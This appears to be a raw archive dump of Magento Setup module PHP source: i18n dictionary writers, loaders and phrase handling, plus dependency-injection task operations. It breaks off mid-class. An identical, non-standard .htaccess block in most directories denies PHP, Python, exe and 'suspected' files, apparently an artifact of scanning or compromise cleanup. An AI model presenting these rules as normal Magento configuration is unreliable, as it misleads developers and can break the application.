@deprecated 2.1.0 Writing to a specified pack path is not supported after custom vendor directory support. * Dictionary data will be written to current Magento codebase. */ public function write(Dictionary $dictionary, $packPath, Locale $locale, $mode); /** * Write dictionary data to current Magento codebase * * @param \Magento\Setup\Module\I18n\Dictionary $dictionary * @param \Magento\Setup\Module\I18n\Locale $locale * @param string $mode One of const of WriterInterface::MODE_ * @return void */ public function writeDictionary(Dictionary $dictionary, Locale $locale, $mode); } Magento/Setup/Module/I18n/Pack/.htaccess000077700000000177151323623130013671 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary/Writer/Csv/Stdo.php000077700000001112151323623130016741 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Writer\Csv; use Magento\Setup\Module\I18n\Dictionary\Writer\Csv; /** * Stdout writer * * Output csv format to stdout */ class Stdo extends Csv { /** * Writer construct */ public function __construct() { $this->_fileHandler = STDOUT; } /** * Overriding parent as we can not close globally used resource * * @return void */ public function __destruct() { } } Magento/Setup/Module/I18n/Dictionary/Writer/Csv/.htaccess000077700000000177151323623130017127 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary/Writer/.htaccess000077700000000177151323623130016374 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary/Writer/Csv.php000077700000003062151323623130016036 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Writer; use Magento\Setup\Module\I18n\Dictionary\Phrase; use Magento\Setup\Module\I18n\Dictionary\WriterInterface; /** * Csv writer */ class Csv implements WriterInterface { /** * File handler * * @var resource */ protected $_fileHandler; /** * Writer construct * * @param string $outputFilename * @throws \InvalidArgumentException */ public function __construct($outputFilename) { if (false === ($fileHandler = @fopen($outputFilename, 'w'))) { throw new \InvalidArgumentException( sprintf('Cannot open file for write dictionary: "%s"', $outputFilename) ); } $this->_fileHandler = $fileHandler; } /** * {@inheritdoc} */ public function write(Phrase $phrase) { $fields = [$phrase->getCompiledPhrase(), $phrase->getCompiledTranslation()]; if (($contextType = $phrase->getContextType()) && ($contextValue = $phrase->getContextValueAsString())) { $fields[] = $contextType; $fields[] = $contextValue; } fputcsv($this->_fileHandler, $fields, ',', '"'); } /** * Destructor for closing resource * * @return void */ public function __destruct() { if ($this->_fileHandler !== STDOUT && is_resource($this->_fileHandler)) { fclose($this->_fileHandler); } } } Magento/Setup/Module/I18n/Dictionary/Generator.php000077700000005552151323623130015763 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary; use Magento\Setup\Module\I18n\Factory; use Magento\Setup\Module\I18n\ParserInterface; /** * Dictionary generator */ class Generator { /** * Parser * * @var \Magento\Setup\Module\I18n\ParserInterface */ protected $parser; /** * Contextual parser * * @var \Magento\Setup\Module\I18n\ParserInterface */ protected $contextualParser; /** * Domain abstract factory * * @var \Magento\Setup\Module\I18n\Factory */ protected $factory; /** * Generator options resolver * * @var Options\ResolverFactory */ protected $optionResolverFactory; /** * @var WriterInterface */ protected $writer; /** * Generator construct * * @param ParserInterface $parser * @param ParserInterface $contextualParser * @param Factory $factory * @param Options\ResolverFactory $optionsResolver */ public function __construct( ParserInterface $parser, ParserInterface $contextualParser, Factory $factory, Options\ResolverFactory $optionsResolver ) { $this->parser = $parser; $this->contextualParser = $contextualParser; $this->factory = $factory; $this->optionResolverFactory = $optionsResolver; } /** * Generate dictionary * * @param string $directory * @param string $outputFilename * @param bool $withContext * @throws \UnexpectedValueException * @return void */ public function generate($directory, $outputFilename, $withContext = false) { $optionResolver = $this->optionResolverFactory->create($directory, $withContext); $parser = $this->getActualParser($withContext); $parser->parse($optionResolver->getOptions()); $phraseList = $parser->getPhrases(); if (!count($phraseList)) { throw new \UnexpectedValueException('No phrases found in the specified dictionary file.'); } foreach ($phraseList as $phrase) { $this->getDictionaryWriter($outputFilename)->write($phrase); } $this->writer = null; } /** * @param string $outputFilename * @return WriterInterface */ protected function getDictionaryWriter($outputFilename) { if (null === $this->writer) { $this->writer = $this->factory->createDictionaryWriter($outputFilename); } return $this->writer; } /** * Get actual parser * * @param bool $withContext * @return \Magento\Setup\Module\I18n\ParserInterface */ protected function getActualParser($withContext) { return $withContext ? $this->contextualParser : $this->parser; } } Magento/Setup/Module/I18n/Dictionary/Loader/File/AbstractFile.php000077700000006017151323623130020462 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Loader\File; use Magento\Setup\Module\I18n\Dictionary\Loader\FileInterface; use Magento\Setup\Module\I18n\Factory; /** * Abstract dictionary loader from file */ abstract class AbstractFile implements FileInterface { /** * Domain abstract factory * * @var \Magento\Setup\Module\I18n\Factory */ protected $_factory; /** * File handler * * @var resource */ protected $_fileHandler; /** * Current row position * * @var int */ protected $_position; /** * Loader construct * * @param Factory $factory */ public function __construct(Factory $factory) { $this->_factory = $factory; } /** * {@inheritdoc} */ public function load($file) { $this->_openFile($file); $dictionary = $this->_createDictionary(); $this->_position = 0; while ($data = $this->_readFile()) { $this->_position++; $data = array_pad($data, 4, null); $dictionary->addPhrase( $this->_createPhrase( [ 'phrase' => $data[0], 'translation' => $data[1], 'context_type' => $data[2], 'context_value' => $data[3], ] ) ); } $this->_closeFile(); return $dictionary; } /** * Init file handler * * @param string $file * @return void * @throws \InvalidArgumentException */ protected function _openFile($file) { if (false === ($this->_fileHandler = @fopen($file, 'r'))) { throw new \InvalidArgumentException(sprintf('Cannot open dictionary file: "%s".', $file)); } } /** * Read file. Template method * * @return array */ abstract protected function _readFile(); /** * Close file handler * * @return void */ protected function _closeFile() { fclose($this->_fileHandler); } /** * Create dictionary * * @return \Magento\Setup\Module\I18n\Dictionary */ protected function _createDictionary() { return $this->_factory->createDictionary(); } /** * Create phrase * * @param array $data * @return \Magento\Setup\Module\I18n\Dictionary\Phrase * @throws \RuntimeException */ protected function _createPhrase($data) { try { return $this->_factory->createPhrase($data); } catch (\DomainException $e) { throw new \RuntimeException( sprintf('Invalid row #%d: "%s".', $this->_position, $e->getMessage()) . "\n" . 'Each row has to consist of 4 columns: original phrase, translation, context type, context value' ); } } } Magento/Setup/Module/I18n/Dictionary/Loader/File/.htaccess000077700000000177151323623130017205 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary/Loader/File/Csv.php000077700000000654151323623130016653 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Loader\File; use Magento\Setup\Module\I18n\Dictionary; /** * Dictionary loader from csv */ class Csv extends AbstractFile { /** * {@inheritdoc} */ protected function _readFile() { return fgetcsv($this->_fileHandler, null, ',', '"'); } } Magento/Setup/Module/I18n/Dictionary/Loader/FileInterface.php000077700000000654151323623130017741 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Loader; /** * Dictionary loader interface */ interface FileInterface { /** * Load dictionary * * @param string $file * @return \Magento\Setup\Module\I18n\Dictionary * @throws \InvalidArgumentException */ public function load($file); } Magento/Setup/Module/I18n/Dictionary/Loader/.htaccess000077700000000177151323623130016326 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary/WriterInterface.php000077700000000547151323623130017131 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary; /** * Writer interface */ interface WriterInterface { /** * Write data to dictionary * * @param Phrase $phrase * @return void */ public function write(Phrase $phrase); } Magento/Setup/Module/I18n/Dictionary/.htaccess000077700000000177151323623130015120 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/Dictionary/Phrase.php000077700000014026151323623130015253 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary; /** * Phrase */ class Phrase { /** * Single quote that enclose the phrase * * @var string */ const QUOTE_SINGLE = "'"; /** * Double quote that enclose the phrase * * @var string */ const QUOTE_DOUBLE = '"'; /** * Phrase * * @var string */ private $_phrase; /** * Translation * * @var string */ private $_translation; /** * Context type * * @var string */ private $_contextType; /** * Context value * * @var array */ private $_contextValue = []; /** * Quote type that enclose the phrase, single or double * * @var string */ private $_quote; /** * Phrase construct * * @param string $phrase * @param string $translation * @param string|null $contextType * @param string|array|null $contextValue * @param string|null $quote */ public function __construct($phrase, $translation, $contextType = null, $contextValue = null, $quote = null) { $this->setPhrase($phrase); $this->setTranslation($translation); $this->setContextType($contextType); $this->setContextValue($contextValue); $this->setQuote($quote); } /** * Set phrase * * @param string $phrase * @return void * @throws \DomainException */ public function setPhrase($phrase) { if (!$phrase) { throw new \DomainException('Missed phrase'); } $this->_phrase = $phrase; } /** * Get phrase * * @return string */ public function getPhrase() { return $this->_phrase; } /** * Set quote type * * @param string $quote * @return void */ public function setQuote($quote) { if (in_array($quote, [self::QUOTE_SINGLE, self::QUOTE_DOUBLE])) { $this->_quote = $quote; } } /** * Get quote type * * @return string */ public function getQuote() { return $this->_quote; } /** * Set translation * * @param string $translation * @return void * @throws \DomainException */ public function setTranslation($translation) { if (!$translation) { throw new \DomainException('Missed translation'); } $this->_translation = $translation; } /** * Get translation * * @return string */ public function getTranslation() { return $this->_translation; } /** * Set context type * * @param string $contextType * @return void */ public function setContextType($contextType) { $this->_contextType = $contextType; } /** * Get context type * * @return string */ public function getContextType() { return $this->_contextType; } /** * Add context value * * @param string $contextValue * @return void * @throws \DomainException */ public function addContextValue($contextValue) { if (empty($contextValue)) { throw new \DomainException('Context value is empty'); } if (!in_array($contextValue, $this->_contextValue)) { $this->_contextValue[] = $contextValue; } } /** * Set context type * * @param string $contextValue * @return void * @throws \DomainException */ public function setContextValue($contextValue) { if (is_string($contextValue)) { $contextValue = explode(',', $contextValue); } elseif (null == $contextValue) { $contextValue = []; } elseif (!is_array($contextValue)) { throw new \DomainException('Wrong context type'); } $this->_contextValue = $contextValue; } /** * Get context value * * @return array */ public function getContextValue() { return $this->_contextValue; } /** * Get context value as string * * @param string $separator * @return string */ public function getContextValueAsString($separator = ',') { return implode($separator, $this->_contextValue); } /** * Get VO identifier key * * @return string */ public function getKey() { return $this->getPhrase() . '::' . $this->getContextType(); } /** * Compile PHP string based on quotes type it enclosed with * * @return string */ public function getCompiledPhrase() { return $this->getCompiledString($this->getPhrase()); } /** * Compile PHP string based on quotes type it enclosed with * * @return string */ public function getCompiledTranslation() { return $this->getCompiledString($this->getTranslation()); } /** * Compile PHP string (escaping unescaped quotes and processing concatenation) * * @param string $string * @return string */ private function getCompiledString($string) { $encloseQuote = $this->getQuote() == Phrase::QUOTE_DOUBLE ? Phrase::QUOTE_DOUBLE : Phrase::QUOTE_SINGLE; /* Find all occurrences of ' and ", with no \ before it for concatenation */ preg_match_all('/[^\\\\]' . $encloseQuote . '|' . $encloseQuote . '[^\\\\]/', $string, $matches); if (count($matches[0])) { $string = preg_replace('/([^\\\\])' . $encloseQuote . ' ?\. ?' . $encloseQuote . '/', '$1', $string); } /* Remove all occurrences of escaped quotes because it is not desirable in csv file. Translation for such phrases will use translation for phrase without escaped quote. */ $string = str_replace('\"', '"', $string); $string = str_replace("\\'", "'", $string); return $string; } } Magento/Setup/Module/I18n/Dictionary/Options/Resolver.php000077700000010401151323623130017256 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Options; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Component\ComponentRegistrar; /** * Dictionary generator options resolver */ class Resolver implements ResolverInterface { /** * @var string */ protected $directory; /** * @var array */ protected $options; /** * @var bool */ protected $withContext; /** * @var ComponentRegistrar */ protected $componentRegistrar; /** * Resolver construct * * @param ComponentRegistrar $componentRegistrar * @param string $directory * @param bool $withContext */ public function __construct( ComponentRegistrar $componentRegistrar, $directory, $withContext ) { $this->componentRegistrar = $componentRegistrar; $this->directory = $directory; $this->withContext = $withContext; } /** * @return array */ public function getOptions() { if (null === $this->options) { if ($this->withContext) { $directory = rtrim($this->directory, '\\/'); $this->directory = ($directory == '.' || $directory == '..') ? BP : realpath($directory); $moduleDirs = $this->getComponentDirectories(ComponentRegistrar::MODULE); $themeDirs = $this->getComponentDirectories(ComponentRegistrar::THEME); $this->options = [ [ 'type' => 'php', 'paths' => array_merge($moduleDirs, $themeDirs), 'fileMask' => '/\.(php|phtml)$/', ], [ 'type' => 'html', 'paths' => array_merge($moduleDirs, $themeDirs), 'fileMask' => '/\.html$/', ], [ 'type' => 'js', 'paths' => array_merge( $moduleDirs, $themeDirs, [ $this->directory . '/lib/web/mage/', $this->directory . '/lib/web/varien/', ] ), 'fileMask' => '/\.(js|phtml)$/' ], [ 'type' => 'xml', 'paths' => array_merge($moduleDirs, $themeDirs), 'fileMask' => '/\.xml$/' ], ]; } else { $this->options = [ ['type' => 'php', 'paths' => [$this->directory], 'fileMask' => '/\.(php|phtml)$/'], ['type' => 'html', 'paths' => [$this->directory], 'fileMask' => '/\.html/'], ['type' => 'js', 'paths' => [$this->directory], 'fileMask' => '/\.(js|phtml)$/'], ['type' => 'xml', 'paths' => [$this->directory], 'fileMask' => '/\.xml$/'], ]; } foreach ($this->options as $option) { $this->isValidPaths($option['paths']); } } return $this->options; } /** * @param array $directories * @return void * @throws \InvalidArgumentException */ protected function isValidPaths($directories) { foreach ($directories as $path) { if (!is_dir($path)) { if ($this->withContext) { throw new \InvalidArgumentException('Specified path is not a Magento root directory'); } else { throw new \InvalidArgumentException('Specified path doesn\'t exist'); } } } } /** * Get the given type component directories * * @param string $componentType * @return array */ private function getComponentDirectories($componentType) { $dirs = []; foreach ($this->componentRegistrar->getPaths($componentType) as $componentDir) { $dirs[] = $componentDir . '/'; } return $dirs; } } Magento/Setup/Module/I18n/Dictionary/Options/ResolverFactory.php000077700000002253151323623130020614 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Options; use Magento\Framework\Component\ComponentRegistrar; /** * Options resolver factory */ class ResolverFactory { /** * Default option resolver class */ const DEFAULT_RESOLVER = \Magento\Setup\Module\I18n\Dictionary\Options\Resolver::class; /** * @var string */ protected $resolverClass; /** * @param string $resolverClass */ public function __construct($resolverClass = self::DEFAULT_RESOLVER) { $this->resolverClass = $resolverClass; } /** * @param string $directory * @param bool $withContext * @return ResolverInterface * @throws \InvalidArgumentException */ public function create($directory, $withContext) { $resolver = new $this->resolverClass(new ComponentRegistrar(), $directory, $withContext); if (!$resolver instanceof ResolverInterface) { throw new \InvalidArgumentException($this->resolverClass . ' doesn\'t implement ResolverInterface'); } return $resolver; } } Magento/Setup/Module/I18n/Dictionary/Options/ResolverInterface.php000077700000000471151323623130021105 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n\Dictionary\Options; /** * Generator options resolver interface */ interface ResolverInterface { /** * @return array */ public function getOptions(); } Magento/Setup/Module/I18n/Dictionary/Options/.htaccess000077700000000177151323623130016553 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/ServiceLocator.php000077700000006455151323623130014657 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; use Magento\Framework\Component\ComponentRegistrar; /** * Service Locator (instead DI container) * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ServiceLocator { /** * Domain abstract factory * * @var \Magento\Setup\Module\I18n\Factory */ private static $_factory; /** * Context manager * * @var \Magento\Setup\Module\I18n\Factory */ private static $_context; /** * Dictionary generator * * @var \Magento\Setup\Module\I18n\Dictionary\Generator */ private static $_dictionaryGenerator; /** * Pack generator * * @var \Magento\Setup\Module\I18n\Pack\Generator */ private static $_packGenerator; /** * Get dictionary generator * * @return \Magento\Setup\Module\I18n\Dictionary\Generator */ public static function getDictionaryGenerator() { if (null === self::$_dictionaryGenerator) { $filesCollector = new FilesCollector(); $phraseCollector = new Parser\Adapter\Php\Tokenizer\PhraseCollector(new Parser\Adapter\Php\Tokenizer()); $adapters = [ 'php' => new Parser\Adapter\Php($phraseCollector), 'html' => new Parser\Adapter\Html(), 'js' => new Parser\Adapter\Js(), 'xml' => new Parser\Adapter\Xml(), ]; $parser = new Parser\Parser($filesCollector, self::_getFactory()); $parserContextual = new Parser\Contextual($filesCollector, self::_getFactory(), self::_getContext()); foreach ($adapters as $type => $adapter) { $parser->addAdapter($type, $adapter); $parserContextual->addAdapter($type, $adapter); } self::$_dictionaryGenerator = new Dictionary\Generator( $parser, $parserContextual, self::_getFactory(), new Dictionary\Options\ResolverFactory() ); } return self::$_dictionaryGenerator; } /** * Get pack generator * * @return \Magento\Setup\Module\I18n\Pack\Generator */ public static function getPackGenerator() { if (null === self::$_packGenerator) { $dictionaryLoader = new Dictionary\Loader\File\Csv(self::_getFactory()); $packWriter = new Pack\Writer\File\Csv(self::_getContext(), $dictionaryLoader, self::_getFactory()); self::$_packGenerator = new Pack\Generator($dictionaryLoader, $packWriter, self::_getFactory()); } return self::$_packGenerator; } /** * Get factory * * @return \Magento\Setup\Module\I18n\Factory */ private static function _getFactory() { if (null === self::$_factory) { self::$_factory = new \Magento\Setup\Module\I18n\Factory(); } return self::$_factory; } /** * Get context * * @return \Magento\Setup\Module\I18n\Context */ private static function _getContext() { if (null === self::$_context) { self::$_context = new Context(new ComponentRegistrar()); } return self::$_context; } } Magento/Setup/Module/I18n/Factory.php000077700000003274151323623130013336 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; /** * Abstract Factory */ class Factory { /** * Create dictionary writer * * @param string $filename * @return \Magento\Setup\Module\I18n\Dictionary\WriterInterface * @throws \InvalidArgumentException */ public function createDictionaryWriter($filename = null) { if (!$filename) { $writer = new Dictionary\Writer\Csv\Stdo(); } else { switch (pathinfo($filename, \PATHINFO_EXTENSION)) { case 'csv': default: $writer = new Dictionary\Writer\Csv($filename); break; } } return $writer; } /** * Create locale * * @param string $locale * @return \Magento\Setup\Module\I18n\Locale */ public function createLocale($locale) { return new Locale($locale); } /** * Create dictionary * * @return \Magento\Setup\Module\I18n\Dictionary */ public function createDictionary() { return new Dictionary(); } /** * Create Phrase * * @param array $data * @return \Magento\Setup\Module\I18n\Dictionary\Phrase */ public function createPhrase(array $data) { return new Dictionary\Phrase( $data['phrase'], $data['translation'], isset($data['context_type']) ? $data['context_type'] : null, isset($data['context_value']) ? $data['context_value'] : null, isset($data['quote']) ? $data['quote'] : null ); } } Magento/Setup/Module/I18n/.htaccess000077700000000177151323623130013013 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/I18n/ParserInterface.php000077700000000717151323623130015003 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; /** * Parser Interface */ interface ParserInterface { /** * Parse by parser options * * @param array $parseOptions * @return array */ public function parse(array $parseOptions); /** * Get parsed phrases * * @return array */ public function getPhrases(); } Magento/Setup/Module/I18n/Locale.php000077700000001565151323623130013127 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; /** * Locale */ class Locale { /** * Default system locale */ const DEFAULT_SYSTEM_LOCALE = 'en_US'; /** * Locale name * * @var string */ protected $_locale; /** * Locale construct * * @param string $locale * @throws \InvalidArgumentException */ public function __construct($locale) { if (!preg_match('/[a-z]{2}_[A-Z]{2}/', $locale)) { throw new \InvalidArgumentException('Target locale must match the following format: "aa_AA".'); } $this->_locale = $locale; } /** * Return locale string * * @return string */ public function __toString() { return $this->_locale; } } Magento/Setup/Module/I18n/Context.php000077700000006275151323623130013357 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\I18n; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Component\ComponentRegistrar; use Magento\Framework\Filesystem; /** * Context */ class Context { /** * Locale directory */ const LOCALE_DIRECTORY = 'i18n'; /**#@+ * Context info */ const CONTEXT_TYPE_MODULE = 'module'; const CONTEXT_TYPE_THEME = 'theme'; const CONTEXT_TYPE_LIB = 'lib'; /**#@-*/ /**#@-*/ private $componentRegistrar; /** * Constructor * * @param ComponentRegistrar $componentRegistrar */ public function __construct(ComponentRegistrar $componentRegistrar) { $this->componentRegistrar = $componentRegistrar; } /** * Get context from file path in array(<context type>, <context value>) format * - for module: <Namespace>_<module name> * - for theme: <area>/<theme name> * - for pub: relative path to file * * @param string $path * @return array * @throws \InvalidArgumentException */ public function getContextByPath($path) { if ($value = $this->getComponentName(ComponentRegistrar::MODULE, $path)) { $type = self::CONTEXT_TYPE_MODULE; } elseif ($value = $this->getComponentName(ComponentRegistrar::THEME, $path)) { $type = self::CONTEXT_TYPE_THEME; } elseif ($value = strstr($path, '/lib/web/')) { $type = self::CONTEXT_TYPE_LIB; $value = ltrim($value, '/'); } else { throw new \InvalidArgumentException(sprintf('Invalid path given: "%s".', $path)); } return [$type, $value]; } /** * Try to get component name by path, return false if not found * * @param string $componentType * @param string $path * @return bool|string */ private function getComponentName($componentType, $path) { foreach ($this->componentRegistrar->getPaths($componentType) as $componentName => $componentDir) { $componentDir .= '/'; if (strpos($path, $componentDir) !== false) { return $componentName; } } return false; } /** * Get paths by context * * @param string $type * @param array $value * @return string|null * @throws \InvalidArgumentException */ public function buildPathToLocaleDirectoryByContext($type, $value) { switch ($type) { case self::CONTEXT_TYPE_MODULE: $path = $this->componentRegistrar->getPath(ComponentRegistrar::MODULE, $value); break; case self::CONTEXT_TYPE_THEME: $path = $this->componentRegistrar->getPath(ComponentRegistrar::THEME, $value); break; case self::CONTEXT_TYPE_LIB: $path = BP . '/lib/web'; break; default: throw new \InvalidArgumentException(sprintf('Invalid context given: "%s".', $type)); } return (null === $path) ? null : $path . '/' . self::LOCALE_DIRECTORY . '/'; } } Magento/Setup/Module/Di/Definition/Collection.php000077700000003707151323623130015730 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Definition; class Collection { /** * List of definitions * * @var array */ private $definitions = []; /** * Returns definitions as [instance => list of arguments] * * @return array */ public function getCollection() { return $this->definitions; } /** * Initializes collection with array of definitions * * @param array $definitions * * @return void */ public function initialize(array $definitions) { $this->definitions = $definitions; } /** * Adds collection to current collection * * @param Collection $collection * * @return void */ public function addCollection(Collection $collection) { $this->initialize(array_merge($this->getCollection(), $collection->getCollection())); } /** * Add new definition for instance * * @param string $instance * @param array|null $arguments * * @return void */ public function addDefinition($instance, $arguments = []) { $this->definitions[$instance] = $arguments; } /** * Returns instance arguments * * @param string $instanceName * @return null|array */ public function getInstanceArguments($instanceName) { return isset($this->definitions[$instanceName]) ? $this->definitions[$instanceName] : null; } /** * Returns instances names list * * @return array */ public function getInstancesNamesList() { return array_keys($this->getCollection()); } /** * Whether instance defined * * @param string $instanceName * @return bool */ public function hasInstance($instanceName) { return isset($this->definitions[$instanceName]); } } Magento/Setup/Module/Di/Definition/.htaccess000077700000000177151323623130014720 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/App/Task/Manager.php000077700000002761151323623130014540 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task; class Manager { /** * @var OperationFactory */ private $operationFactory; /** * @var OperationInterface[] */ private $operationsList = []; /** * @param OperationFactory $operationFactory */ public function __construct( OperationFactory $operationFactory ) { $this->operationFactory = $operationFactory; } /** * Adds operations to task * * @param string $operationCode * @param mixed $arguments * @return void */ public function addOperation($operationCode, $arguments = null) { $this->operationsList[] = $this->operationFactory->create($operationCode, $arguments); } /** * Processes list of operations * * @param callable $beforeCallback * @param callable $afterCallback * @return void */ public function process(\Closure $beforeCallback = null, \Closure $afterCallback = null) { /** @var OperationInterface $operation */ foreach ($this->operationsList as $operation) { if (is_callable($beforeCallback)) { $beforeCallback($operation); } $operation->doOperation(); if (is_callable($afterCallback)) { $afterCallback($operation); } } $this->operationsList = []; } } Magento/Setup/Module/Di/App/Task/Operation/RepositoryGenerator.php000077700000003755151323623130021160 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Setup\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; class RepositoryGenerator implements OperationInterface { /** * @var Scanner\RepositoryScanner */ private $repositoryScanner; /** * @var array */ private $data; /** * @var ClassesScanner */ private $classesScanner; /** * @var Scanner\ConfigurationScanner */ private $configurationScanner; /** * @param ClassesScanner $classesScanner * @param Scanner\RepositoryScanner $repositoryScanner * @param Scanner\ConfigurationScanner $configurationScanner * @param array $data */ public function __construct( ClassesScanner $classesScanner, Scanner\RepositoryScanner $repositoryScanner, \Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner $configurationScanner, $data = [] ) { $this->repositoryScanner = $repositoryScanner; $this->data = $data; $this->classesScanner = $classesScanner; $this->configurationScanner = $configurationScanner; } /** * Processes operation task * * @return void */ public function doOperation() { foreach ($this->data['paths'] as $path) { $this->classesScanner->getList($path); } $this->repositoryScanner->setUseAutoload(false); $files = $this->configurationScanner->scan('di.xml'); $repositories = $this->repositoryScanner->collectEntities($files); foreach ($repositories as $entityName) { class_exists($entityName); } } /** * Returns operation name * * @return string */ public function getName() { return 'Repositories code generation'; } } Magento/Setup/Module/Di/App/Task/Operation/ProxyGenerator.php000077700000002767151323623130020124 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Setup\Module\Di\Code\Scanner; class ProxyGenerator implements OperationInterface { /** * @var Scanner\XmlScanner */ private $proxyScanner; /** * @var array */ private $data; /** * @var Scanner\ConfigurationScanner */ private $configurationScanner; /** * @param Scanner\XmlScanner $proxyScanner * @param Scanner\ConfigurationScanner $configurationScanner * @param array $data */ public function __construct( Scanner\XmlScanner $proxyScanner, \Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner $configurationScanner, $data = [] ) { $this->proxyScanner = $proxyScanner; $this->data = $data; $this->configurationScanner = $configurationScanner; } /** * Processes operation task * * @return void */ public function doOperation() { $files = $this->configurationScanner->scan('di.xml'); $proxies = $this->proxyScanner->collectEntities($files); foreach ($proxies as $entityName) { class_exists($entityName); } } /** * Returns operation name * * @return string */ public function getName() { return 'Proxies code generation'; } } Magento/Setup/Module/Di/App/Task/Operation/PluginListGenerator.php000077700000002575151323623130021072 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Framework\Config\ScopeInterface; use Magento\Setup\Module\Di\App\Task\OperationInterface; use Magento\Framework\Interception\ConfigWriterInterface; /** * Writes plugin list configuration data per scope to generated metadata. */ class PluginListGenerator implements OperationInterface { /** * @var ScopeInterface */ private $scopeConfig; /** * @var ConfigWriterInterface */ private $configWriter; /** * @param ScopeInterface $scopeConfig * @param ConfigWriterInterface $configWriter */ public function __construct( ScopeInterface $scopeConfig, ConfigWriterInterface $configWriter ) { $this->scopeConfig = $scopeConfig; $this->configWriter = $configWriter; } /** * @inheritDoc */ public function doOperation() { $scopes = $this->scopeConfig->getAllScopes(); // remove primary scope for production mode as it is only called in developer mode $scopes = array_diff($scopes, ['primary']); $this->configWriter->write($scopes); } /** * @inheritDoc */ public function getName() { return 'Plugin list generation'; } } Magento/Setup/Module/Di/App/Task/Operation/InterceptionCache.php000077700000003724151323623130020515 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\App\Task\Operation; use Magento\Setup\Module\Di\App\Task\OperationInterface; class InterceptionCache implements OperationInterface { /** * @var array */ private $data = []; /** * @var \Magento\Framework\Interception\Config\Config */ private $configInterface; 